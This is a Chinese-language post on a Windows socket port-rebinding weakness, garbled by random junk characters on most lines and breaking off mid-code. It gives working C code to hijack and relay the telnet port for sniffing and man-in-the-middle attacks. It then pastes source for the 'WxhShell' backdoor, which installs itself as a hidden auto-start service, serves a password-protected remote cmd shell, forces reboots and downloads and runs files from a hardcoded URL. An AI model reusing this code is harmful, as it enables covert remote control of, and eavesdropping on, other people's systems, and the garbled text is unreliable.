在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
p$uPj*
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
3_`)QYU' +(y8q saddr.sin_family = AF_INET;
pRd'\+ SPXvi0Jg saddr.sin_addr.s_addr = htonl(INADDR_ANY);
q^?a|l [A~ Hl bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
>|yP`m @BG].UJo 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
kW1w;}n$ zWH)\>X59 这意味着什么?意味着可以进行如下的攻击:
K:GEC- 'GT^araz 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
tP"6H-)X& &FuL{YL 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
k>7bPR5Mw -e_op'` 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
2dcvB]T! lfre-pS+ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
5-y*]:g( W)J MV 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
P|Gwt& 5[4nFa}R:5 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
R PoBF~> @0]WMI9B"B 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
GC' e 9 M%Gnz #include
zBu@a:E%H #include
O5Z9`_9< #include
>3@3~F%xAX #include
Em^~OM3U$q DWORD WINAPI ClientThread(LPVOID lpParam);
=J)<Nx.gA int main()
t$wbwP {
<U1T_fiBoc WORD wVersionRequested;
vSC1n8 / DWORD ret;
b9m`y*My WSADATA wsaData;
q6w)zTpJGJ BOOL val;
'Grii, SOCKADDR_IN saddr;
#QIY+muN SOCKADDR_IN scaddr;
"lLh#W1d int err;
T^(W _S SOCKET s;
WZY+c SOCKET sc;
)$bF* int caddsize;
)#cZ&
O HANDLE mt;
AU}kIm_+ DWORD tid;
kLF`6ZXtd wVersionRequested = MAKEWORD( 2, 2 );
"YY<T&n err = WSAStartup( wVersionRequested, &wsaData );
K) fKL
if ( err != 0 ) {
\Ta5c31S+ printf("error!WSAStartup failed!\n");
*1{A'`.=\ return -1;
1n[)({OQ }
e15yDwvB saddr.sin_family = AF_INET;
#qYgQ<TM! Qn.dL@W //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
/51$o\4S hTzj{}w saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
+pwTM]bV saddr.sin_port = htons(23);
|oLG c!i if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
#IvKI+" {
6XF Ufi+ printf("error!socket failed!\n");
GEF's#YWK return -1;
_<#92v!F }
xb3 G,F val = TRUE;
+]A,fmI. //SO_REUSEADDR选项就是可以实现端口重绑定的
^tGAJ_b79 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
R/Bjc}J' {
ch]Qz[d printf("error!setsockopt failed!\n");
;mQ|+|F6X return -1;
} &+]UGv }
[0y,K{8t //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
$q:l \ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
\-pwA j? //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
#p>&|I H=C~h\me? if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
SyVXXk 0 {
C/Tk`C& ret=GetLastError();
iL);bv W printf("error!bind failed!\n");
!DFTg4xb return -1;
<q$Tk, }
qsW&kW~ listen(s,2);
<b,WxR` while(1)
x5uz$g {
v77UE"4|c caddsize = sizeof(scaddr);
ocWl]h]. //接受连接请求
`WOoC sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
f}(4v1T if(sc!=INVALID_SOCKET)
GqL&hbpi {
'Xwv, mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
4;J.$ if(mt==NULL)
|.$B,cEd {
[-VH%OM printf("Thread Creat Failed!\n");
H!]&"V77 break;
oQ
r.cKD ? }
/B?wn=][ }
J{dO0!7y CloseHandle(mt);
h<3b+*wYJC }
Jw}t~m3 closesocket(s);
lqOpADLS3 WSACleanup();
}Y.YJXum return 0;
N.q~\sF^ }
qfl!>
DWORD WINAPI ClientThread(LPVOID lpParam)
b'+Wf#.]f0 {
=t-Ud^3 SOCKET ss = (SOCKET)lpParam;
-@>]iBl SOCKET sc;
vw!7f|Pg ~ unsigned char buf[4096];
k{;?>=FH! SOCKADDR_IN saddr;
1q!k#Cliu long num;
P_0X+Tz DWORD val;
k
6[ DWORD ret;
WuY#Kx~2 //如果是隐藏端口应用的话,可以在此处加一些判断
HN NeH;L //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Sy <E@1 saddr.sin_family = AF_INET;
ASoBa&vX saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
=<H ekiYM saddr.sin_port = htons(23);
Fz(;Eo3 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
)J @[8 x` {
u;nn:K1QFr printf("error!socket failed!\n");
\Qah*1 return -1;
h )Y.jY }
)
6QJZ$ val = 100;
Q3l>xh if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
P{K\}+9F
{
[C4{C4TX ret = GetLastError();
A2\hmp@A@7 return -1;
s-Gd{=%/q }
N<<wg{QO if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
|;a$
l(~< {
|khFQ( ret = GetLastError();
F-:AT$Ok return -1;
/7Sg/d%c }
SHPDbBS if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
],!}| {
sYXLVJ>b printf("error!socket connect failed!\n");
B]yO closesocket(sc);
+pq=i closesocket(ss);
D]iyr>V6' return -1;
j07A>G-= }
ckFPx l. while(1)
k}g4? {
<Af&Q0J //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
F7C+uGTs //如果是嗅探内容的话,可以再此处进行内容分析和记录
g ;
-3 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
~5|R`% num = recv(ss,buf,4096,0);
mvpcRe
< if(num>0)
gA EB send(sc,buf,num,0);
90abA,U@ else if(num==0)
=[aiW|Y break;
%?V~7tHm> num = recv(sc,buf,4096,0);
Q1kM 4Up if(num>0)
eW<NDI&b send(ss,buf,num,0);
N\]-/$ z else if(num==0)
7fWZ/;p break;
%=K [C }
/:
-&b#+ closesocket(ss);
h]i vXF* closesocket(sc);
AwuhFPG return 0 ;
D5Rp<PBq, }
-0`n(`2 R9- mq;u+ 8.wtv5eZ ==========================================================
I4qS8~+# y~OP9Tg 下边附上一个代码,,WXhSHELL
k&[6Ld0~56 #d<"Ub ==========================================================
5sEk rT ' %'. x vC #include "stdafx.h"
QS4~":D/C k]-Q3V #include <stdio.h>
k`' *niz #include <string.h>
uTO%O}D N #include <windows.h>
z^9rM" #include <winsock2.h>
M|@@
LJ' #include <winsvc.h>
`l70i2xcj #include <urlmon.h>
+S#Xm4 x@)cj #pragma comment (lib, "Ws2_32.lib")
}=|{"C #pragma comment (lib, "urlmon.lib")
Z{
9Io/ yZoJD{'?Sw #define MAX_USER 100 // 最大客户端连接数
gCRPaF6 #define BUF_SOCK 200 // sock buffer
|eye) E: #define KEY_BUFF 255 // 输入 buffer
m#_M"B.cm w4Hq|N1-Y #define REBOOT 0 // 重启
b
ettOg #define SHUTDOWN 1 // 关机
e*I92 64"DT3: #define DEF_PORT 5000 // 监听端口
FH%:NO qJtLJ<=1 #define REG_LEN 16 // 注册表键长度
e6 <9`Xg #define SVC_LEN 80 // NT服务名长度
noB8*n0 5V/]7>b1 // 从dll定义API
Bz%wV- typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
-I*vl typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
psiuoYf typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
V4n;N typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
K2v[_a~@ k7sD"xR3 // wxhshell配置信息
i>-#QKqJ struct WSCFG {
33~8@]b int ws_port; // 监听端口
#l9sQ-1Q char ws_passstr[REG_LEN]; // 口令
qMA";Frt3N int ws_autoins; // 安装标记, 1=yes 0=no
Ll#W:~ char ws_regname[REG_LEN]; // 注册表键名
Z rgv* char ws_svcname[REG_LEN]; // 服务名
5xj8^W^G9 char ws_svcdisp[SVC_LEN]; // 服务显示名
@li/Y6Wh char ws_svcdesc[SVC_LEN]; // 服务描述信息
1BP/,d |+ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
ru1^.(W2 int ws_downexe; // 下载执行标记, 1=yes 0=no
DV>;sCMJ % char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
v<(+ l)Ln char ws_filenam[SVC_LEN]; // 下载后保存的文件名
=E(ed,gH8 ])?h~
};
MIiBNNURX ,S`FxJcE // default Wxhshell configuration
7@k3-?q struct WSCFG wscfg={DEF_PORT,
B:cQsaty "xuhuanlingzhe",
x]R0zol 1,
JnqP`kYbTE "Wxhshell",
/9Qr1@&v "Wxhshell",
1#fR=*ZM" "WxhShell Service",
\;Q!}_ K "Wrsky Windows CmdShell Service",
<7L-25 = "Please Input Your Password: ",
4?
rEO(SZ 1,
0xvSi9 "
http://www.wrsky.com/wxhshell.exe",
=Uo*-EH "Wxhshell.exe"
XW^Pz( };
MJH>rsTQ ]F;1 l3I- // 消息定义模块
Z0XQ|gkH char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
/L|x3RHs char *msg_ws_prompt="\n\r? for help\n\r#>";
+9yMtR char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
_)YB*z5 char *msg_ws_ext="\n\rExit.";
%503<j char *msg_ws_end="\n\rQuit.";
~,8#\]xR char *msg_ws_boot="\n\rReboot...";
pbwOma2 char *msg_ws_poff="\n\rShutdown...";
w`M`F<_\: char *msg_ws_down="\n\rSave to ";
F8/n; 4/ q
BD char *msg_ws_err="\n\rErr!";
yOP$~L#TWs char *msg_ws_ok="\n\rOK!";
vD/l`Ib: h\~!!F char ExeFile[MAX_PATH];
vI48*&]wTf int nUser = 0;
`/i/AZ{ HANDLE handles[MAX_USER];
Q{miI
N int OsIsNt;
=`CK`x m?8o\|i, SERVICE_STATUS serviceStatus;
*;F<Q!i&v SERVICE_STATUS_HANDLE hServiceStatusHandle;
g1l:k1\Ht CU*;>h1~u // 函数声明
NH=@[t)P, int Install(void);
[' iEw! int Uninstall(void);
G"Ey%Q2K int DownloadFile(char *sURL, SOCKET wsh);
2<'ol65/c int Boot(int flag);
P^lzbWj^ void HideProc(void);
(b"q(:5oX int GetOsVer(void);
}%42Ty int Wxhshell(SOCKET wsl);
$d.Dk4.ed void TalkWithClient(void *cs);
|;p.!FO int CmdShell(SOCKET sock);
3e\IRF xzb int StartFromService(void);
A
;|P\V int StartWxhshell(LPSTR lpCmdLine);
OekE]`~w I@#IXH?6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
<KoOJMx( VOID WINAPI NTServiceHandler( DWORD fdwControl );
45jImCm _?I*::
I // 数据结构和表定义
tk:G6Bkid SERVICE_TABLE_ENTRY DispatchTable[] =
XSh[#qJ {
M}=>~TA@ {wscfg.ws_svcname, NTServiceMain},
cveQ6
-`K {NULL, NULL}
}"kF<gG1 };
N'pYz0_H VT#`l0I} // 自我安装
zq3f@xOK int Install(void)
p&HO~J<w {
0&tr3!h\ char svExeFile[MAX_PATH];
hVd_1|/X HKEY key;
=OTu8_ d0t strcpy(svExeFile,ExeFile);
)?6%d \uJ+~db= // 如果是win9x系统,修改注册表设为自启动
5as5{"l if(!OsIsNt) {
Qj|tD+< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
l2Rnyb<;; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
t2m7Yh5B RegCloseKey(key);
D)Jac@,0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
y*=Ipdj RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
4#ikdjB; RegCloseKey(key);
BV}sN{ return 0;
?<Mx* l }
<l eE.hhf. }
4 DV,f2:R4 }
QDKY7"H else {
J
L1]auO* Lnq CHe // 如果是NT以上系统,安装为系统服务
4.~ <|T8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
M<Dvhy[ if (schSCManager!=0)
qT#NS&T!- {
Ip *8R]W SC_HANDLE schService = CreateService
>Y|P+Z\7 (
{7_C|z:'p& schSCManager,
M(^ e)7a1 wscfg.ws_svcname,
.VohW=D3 wscfg.ws_svcdisp,
bPV;" SERVICE_ALL_ACCESS,
jI<_(T SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
4sC)hAx&f SERVICE_AUTO_START,
sN MF(TY SERVICE_ERROR_NORMAL,
E#!.;AQ svExeFile,
,8!'jE[d NULL,
10N0?K" NULL,
u
Qg$hS NULL,
' hdLQ\J NULL,
u0qTP] NULL
N0 mhgEA );
E;q+u[$ if (schService!=0)
/ neY2D6 {
=CjWPZShV CloseServiceHandle(schService);
h*3{IHAQ CloseServiceHandle(schSCManager);
lc]cs D strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
oqg +<m strcat(svExeFile,wscfg.ws_svcname);
o5m]Gqa if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
B^{~,' RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
8m[o*E.4F RegCloseKey(key);
TpdYU*z_Br return 0;
?>gr9w\ }
!HeQMz }
6:Y2z!MLO CloseServiceHandle(schSCManager);
u_FN'p=. }
GXRW"4eF5 }
31QDN0o!~ :Smyk.B2! return 1;
l j+p}dt }
,4;'s /Kd'!lMuz // 自我卸载
(Bv~6tj~J int Uninstall(void)
]K%d {
~&"'>C# HKEY key;
][XCpJ)8 *nv^s if(!OsIsNt) {
^/xb-tuV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
,kl``w|1M RegDeleteValue(key,wscfg.ws_regname);
lwjA07i RegCloseKey(key);
BA8!NR| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
4ti,R' RegDeleteValue(key,wscfg.ws_regname);
1qp"D_h RegCloseKey(key);
y'z9Ya return 0;
Yjl:i*u/ }
6}Rb-\N }
bw!*=< }
Ylgr]?Db* else {
]LMtZUz HYZp=*eb SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
@4Q/J$ if (schSCManager!=0)
GgE
38~A4 {
xlh<}Vtp SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
s{42_O?,c if (schService!=0)
V?-2FK] {
~D` if(DeleteService(schService)!=0) {
E
5mYFVK CloseServiceHandle(schService);
#RKd>ig% CloseServiceHandle(schSCManager);
Qv)DSl
return 0;
LKZv#b[h }
^Cj3\G4, CloseServiceHandle(schService);
kovJ9 }
QT|\TplJt CloseServiceHandle(schSCManager);
Fc|N6I'o }
>LB*5 }
nj-LG!"a 0W~1v return 1;
r?pN-x$M= }
gf^y3F[\ {s=c!08= // 从指定url下载文件
.k%/JF91n int DownloadFile(char *sURL, SOCKET wsh)
9"}5jq4* {
7Jpq7; HRESULT hr;
};f^*KZ=0 char seps[]= "/";
c<{~j~+ char *token;
3PkU>+.6 char *file;
jY ;Hdb'' char myURL[MAX_PATH];
}|nEbM]# char myFILE[MAX_PATH];
f?(g5o*2 z+^9)wg9 strcpy(myURL,sURL);
7dOpJjv?) token=strtok(myURL,seps);
#E#@6ZomT while(token!=NULL)
&3itBQF {
a%QgL&_5 file=token;
1k{H,p7 token=strtok(NULL,seps);
u_b6u@r7 }
|lyspD mqY=N~/O GetCurrentDirectory(MAX_PATH,myFILE);
KbH|'/w strcat(myFILE, "\\");
G{zxP%[E strcat(myFILE, file);
G\(*z4@Gz send(wsh,myFILE,strlen(myFILE),0);
MFipXE! send(wsh,"...",3,0);
lQ4$d{m` hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
'vKae if(hr==S_OK)
t&IWKu# return 0;
>A}ra ^gU else
Vygh|UEo return 1;
;Q[E>j?w= j|b$b,rF\ }
xFA`sAucr wp@6RJ // 系统电源模块
Zj0h0Vt int Boot(int flag)
}s8xr> {
%~0]o@LW7 HANDLE hToken;
;)ERxMun TOKEN_PRIVILEGES tkp;
fr8';Jm N1U.1~U if(OsIsNt) {
~N)(|N OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
MYVb ! LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
X@7:FzU9 tkp.PrivilegeCount = 1;
}$* z:E tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
ler$HA%F] AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
"Q{7X[$$^ if(flag==REBOOT) {
y4H/CH$% if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
8mO_dQ return 0;
SXV2Y- }
Q*8x Bi1 else {
e'fo^XQn[ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
-:Q"aeC5 return 0;
P75@Yu( }
J@rBrKC }
ho!qXS else {
D"{%[;J if(flag==REBOOT) {
{9~3y2: if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
f^Q)lIv return 0;
P|a|4Bb+fW }
MI`<U:-lP else {
xg;F};}5$
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
7uzc1}r return 0;
hl,x|.f}4Y }
(T.j3@Ko }
+77j2W_0 a24(9(yh return 1;
cxIAI=JK }
UUvR>5@n 1([?EfC // win9x进程隐藏模块
^vI`#}? void HideProc(void)
#5X+.!L {
HrRw 31p7oRzr HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
T|5uywA| if ( hKernel != NULL )
}RQHsS {
c2PBYFCyC pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
;NGSJfn ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
:GM3n$ FreeLibrary(hKernel);
k:&B
b" }
Zb+n\sv4 1.nYT* return;
m4R:KjN* }
T5_rPz /^`do3a} // 获取操作系统版本
P+rDln{ int GetOsVer(void)
4v`;D,dIu {
%KR2Vlh0 OSVERSIONINFO winfo;
v\5`n@}4 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
bq{eu#rQJ GetVersionEx(&winfo);
cq$_$jRx if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
O#)YbaE return 1;
+,eF(VS! else
'Ojxzz*tT return 0;
Q776cj^L }
)OFf nKh :7s2M // 客户端句柄模块
H$6;{IUz~ int Wxhshell(SOCKET wsl)
nDz.61$[ {
Z5"5Ge-M SOCKET wsh;
O
2+taB struct sockaddr_in client;
S]gV! Q4% DWORD myID;
t1!>EI` 48.4GwL7 while(nUser<MAX_USER)
H9[0-Ur5 {
*^ua2s. int nSize=sizeof(client);
Q|7m9~ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
QF$s([ if(wsh==INVALID_SOCKET) return 1;
SjvSnb_3 <#)Q.P handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
i`!>zl+D if(handles[nUser]==0)
b\UE+\a& closesocket(wsh);
PD-*rG ` else
F1%^,; nUser++;
t* =i8`8 }
@/='BVb'T WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
g2YE^EKU~ Ru$%gh>v return 0;
jN/snU2\0 }
GGsAisF"N 7MhaLkB_6 // 关闭 socket
)c<[@::i void CloseIt(SOCKET wsh)
$?DEO[p. {
FW3uq^ closesocket(wsh);
=Nr?F'< nUser--;
?BU?c:"f ExitThread(0);
p & i+i }
+)_#j/ IB^vEY!`6_ // 客户端请求句柄
K}p0$Lc void TalkWithClient(void *cs)
EfX,0Nq T {
ksyQ_4^SO
*,,:;F^ SOCKET wsh=(SOCKET)cs;
)g ?'Nz char pwd[SVC_LEN];
U[hokwZ char cmd[KEY_BUFF];
!j9(%,PR char chr[1];
&jh17y int i,j;
"J2v8c Q'aVdJN, while (nUser < MAX_USER) {
fjm3X$tR Xvxrz{ if(wscfg.ws_passstr) {
[=>[ 2Ty if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
n]3Z~HoZ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
P8 R^46 //ZeroMemory(pwd,KEY_BUFF);
I:YE6${k! i=0;
Wli!s~c5Fo while(i<SVC_LEN) {
w^[:wzF0 ^j2z\yo // 设置超时
?8q4texf[ fd_set FdRead;
va!fJ struct timeval TimeOut;
w=thaF. FD_ZERO(&FdRead);
G~/*!?&z FD_SET(wsh,&FdRead);
}'h\;8y TimeOut.tv_sec=8;
R4S))EHg TimeOut.tv_usec=0;
DKG;up0 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
ONLhQJCb if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
M[L@ej 9!6u Yf+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
i1!Y{ pwd
=chr[0]; Or-LQ^~
if(chr[0]==0xd || chr[0]==0xa) { n`p/;D=?
pwd=0; u\)q.`
break; ^CB@4$!
} 7Kti&T
i++; q0@b d2}
} 'r}y{`3M
r(g2&}o\
// 如果是非法用户,关闭 socket #/)U0IR)
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ee=!bv(%70
} m
[BV{25
hO(A_Bw
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GZ.KL!,R!
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [V0%=q+ R
KD'}9{F,
while(1) { !iUT Re
W&2r{kCsQ
ZeroMemory(cmd,KEY_BUFF); cgR8+o
N'?#g`*KW
// 自动支持客户端 telnet标准 gY_AO1
j=0; wLo<gA6;
while(j<KEY_BUFF) { XKvH^Z4h{l
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {-yw@Kq
cmd[j]=chr[0]; Nk?/vMaw
if(chr[0]==0xa || chr[0]==0xd) { :PBW=W
cmd[j]=0; HyIyrU rYW
break; [\=1|t5n~
} COA>y?
j++; 'Ge8l%p
} D*ZswHT{y
l@>@2CB
// 下载文件 Oo9'
if(strstr(cmd,"http://")) { ,6x>gcR
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y5<W"[B!
if(DownloadFile(cmd,wsh)) {G{>Qa|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v R!
y#
else KuMH,rXF
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |^gnT`+
} m5cRHo<9Y
else { Dc0CQGx9b
]i8t
switch(cmd[0]) { ~zQxfl/
g hW
// 帮助 SxL/]jWR7
case '?': { kk}_AZ0eK
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U=[isi+7
break; ]qiX"<s>~C
} [NbW"Y7
// 安装 |]b,% ?,U
case 'i': { H"wIa8A
if(Install()) wM!dz&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Eo\(j2F.
else q<4{&omUJ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); STz@^A
break; Xi!e=5&Pa
} 1eI_F8I U
// 卸载 @GF3g=
case 'r': { </W"e!?X
if(Uninstall()) [ZS.6{vr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uv!VzkPfo
else C4gzg
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .d+zF,02Z
break; TwKi_nh2m
} 877Kv);
// 显示 wxhshell 所在路径 X=Jt4 h9
case 'p': { KIY9?B=+
char svExeFile[MAX_PATH]; d"thM
strcpy(svExeFile,"\n\r"); otQ
G6
strcat(svExeFile,ExeFile); 'a>D+A:
send(wsh,svExeFile,strlen(svExeFile),0); 'a"Uw"/p[
break; BqtN=
} hz5t/E
// 重启 ^grDP*;W
case 'b': { c,#Nd@
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4|DN^F~iut
if(Boot(REBOOT)) }$s QmRR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Pvnhy
else { o8SP#ET"n
closesocket(wsh); (iht
LFp
ExitThread(0); VOT9cP^6
} Mo4c8wp&SM
break; $9Gra#
} <}F(G-kV6
// 关机 upFe{M@
case 'd': { gBZNO! a,d
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,q$2D,dz
if(Boot(SHUTDOWN)) /Z]hX*QR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); TV}=$\D
else { 7**zO3
H
closesocket(wsh); *p|->p6,u
ExitThread(0); V>ZDJW"G!
} ,I:[-|Q
break; AG"iS<u
} {ea*dX872:
// 获取shell JvS
~.g1
case 's': { wV,=hMTd&\
CmdShell(wsh); 'Y]<1M>.g
closesocket(wsh); ?i}wm`
ExitThread(0); e'|c59E
break; 6mjD@
} V=c?V/pl
// 退出 0UQ
DB5u
case 'x': { mFE7#OM
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `R*!GHro
CloseIt(wsh); {fMo#`9=
break; FV%|*JW[;N
} Uh^j;s\y
// 离开 E&Sr+D aPD
case 'q': { ZL9|/
PY
send(wsh,msg_ws_end,strlen(msg_ws_end),0); UN:cRH{?*
closesocket(wsh); z'0
=3
WSACleanup(); 'Y/8gD~.
exit(1); T%**:@}+
break; {7K l#b
} w7~&Xxa/
} ='(;!3ZH
} ?l`|j*
'(8}
<(%
// 提示信息 ")w~pZE&+
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uFaT~ 4
} Po.izE!C
} 0p'g+ 2
>jc17BJq
return; M$3/jl*#}
} =BzBM`-o
H+Q_%%[N
// shell模块句柄 %gTY7LIe1z
int CmdShell(SOCKET sock) IOl0=+p
{ ]Yf8
STARTUPINFO si; >9[wjB2?}
ZeroMemory(&si,sizeof(si)); "p&4Sn3T2?
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @>[3[;
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5gwEr170
PROCESS_INFORMATION ProcessInfo; Hlj3z3
char cmdline[]="cmd"; MA v-#
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {tnhP^C3>
return 0; ?q"9ZYX<
} Rz33_ qA
&>XSQB(&%
// 自身启动模式 Qa1G0qMEIF
int StartFromService(void) kFi=^#J{
{ dVBr-+
typedef struct 7gt%[r M
{ {;hRFQ^b
DWORD ExitStatus; 5
Praj
